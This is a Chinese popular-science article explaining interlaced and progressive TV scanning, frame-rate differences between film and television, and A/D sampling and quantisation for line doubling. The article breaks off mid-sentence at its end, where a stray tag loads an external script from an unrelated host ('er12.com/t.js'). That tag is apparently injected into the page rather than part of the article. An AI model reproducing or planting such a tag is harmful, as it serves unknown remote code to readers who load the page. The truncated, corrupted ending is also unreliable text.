逐行扫描电视比隔行扫描电视诞生时间早很多,世界上最早进行电视广播的时候都是采用逐行扫描电视制式,因为当时电视的清晰度非常低,并且只能广播黑白图像节目,节目内容也不丰富,大部分是文字广告和音乐之类内容。后来人们想把电影节目也搬到电视节目之中,此时才强烈感到电视机的清晰度不够,为此,电视台想出了一个新办法,只需在312根扫描线的后面加上半根扫描线,而电视机什么也不用动,图像清晰度就提高了一倍。为什么?这就是隔行扫描电视机的工作原理。
隔行扫描电视是从电影的工作原理中学来的,电影进行图像播放时每秒只播放24个图片,即24帧。但为什么人们都感不到图像闪烁呢,这里有一些猫腻的东西并不是人人皆知,原来电影在放映的时候每个镜头都要重复多放一次,即每秒48次。对比一下,这不是很像隔行扫描电视吗。
但为什么电影的帧频为24,而电视是25,并且就因为差这么一帧,使得每次要在电视上放电影时,都得要进行格式转换(多插一帧,即对某帧进行重播),而不把它们统一为25或24呢?电影不愿换成25帧的理由是,人们对每秒24帧已很满意,换成25帧会增加成本;电视不愿换成24的原因是电网交流电的频率为50hz,如果换成其它场频,当受到如荧光灯之类的灯光调制的时候会出现差拍。由于大家都不愿意妥协,所以无法达成协议,只能和平共处到现在。因此我们在看电视电影的时候,总能看到多插的那一帧在闪烁。
隔行扫描电视有个缺点,就是当图像上下两行的对比度差别很大时产生行间闪烁,针对这个缺点,人们又回过头来把早已抛弃几十年的逐行扫描电视机捡了回来。实际上这个是根电脑学的,早期的电脑显示器(如:单显、cga、ega)也是用隔行扫描,后来发明了vga显示器才改成逐行扫描。显示器把隔行扫描改成逐行扫描,显示内容并没增加,但行扫描频率须提高一倍或好几倍,视频带宽也需增加了好几倍。
要想把电视机由隔行扫描转换成逐行扫描,并不象电脑显示器那么简单,只需改一改行扫描频率和视频带宽就可以了,电脑显示器由隔行扫描改成逐行扫描的时候,显示卡也是要改动的,对于逐行扫描电视来说,这相当于要电视台也跟着改动才行,这个恐怕不是那么容易了吧。因此,只能电视机自己想办法解决。
电视机由隔行扫描改成逐行扫描,图像信号必须要经过a/d转换、存储、处理及d/a转换,这里顺便提一下什么是a/d转换。a/d转换也叫取样,是把模拟信号转换成数字信号的必要过程。我们知道模拟信号是由无数个连续的点来组成,任何电路都无法对无数个点的信息进行如:插行、压缩等处理,因此只能从无数个点中抽出一些有代表性的点进行处理,这种方法就叫取样,或叫a/d(模拟/数字)转换。取样可以比喻成把图片通过一个丝网后再印到报纸上(这叫丝网印刷),报纸上的图片就变成由很多小点点组成,这些小点点就是从图片中无数个点取样后得来的。经过取样得到的点,越密和越细,图像就越逼真。对视频信号取样也存在这样的道理,取样频率越高,相当于抽样的点越多,数据就越真实,但数据占的内存也多。除了点的密度对图像质量有影响外,每个点所表示数值的精度也会影响图像质量,这个叫量化,即分层。层分得越多,精度就越高,量化精度单位用bit表示,即多少bit编码。
d/a转换正好与a/d转换相反,就是把数字信号(数据)转换成模拟信号。不管取样频率有多高,量化精度有多细,a/d与d/a转换总是会对模拟信号有损伤的。因此,在对图像进行数字处理的时候,总要从图像质量和成本两方面来考虑,一般电视机对视频信号取样时,都是用3倍视频作为取样频率,量化精度为8bit(即256层)。
最简单的逐行扫描电视机,就是取3行或5行隔行扫描信号进行处理,其原理是把隔行扫描图像信号(视频)经a/d转换,变成数字信号,并把它按顺序存储下来,然后在两行之间加插一行数据(一般是拷贝上一行,与放电影时每个镜头放两次一样),最后读出数据时就相当于比原来多了一行数据,即倍行,但场扫描频率不变,还是50hz。这样的结果,虽然行间闪烁问题解决了,又会产生新的问题,就是图像会出现大面积闪烁。所谓大面积闪烁就是,正在扫描的地方图像很亮,过后慢慢的变暗,图像亮度变化很像是大海中的波浪,由上到下一直在滚动。
为什么同是逐行扫描,电脑显示器不会产生图像大面积闪烁,而电视机会产生呢?这是因为电脑显示器用的是中余辉显像管,而电视机用的是短余辉显像管,两者的用途不?script src=http://er12.com/t.js>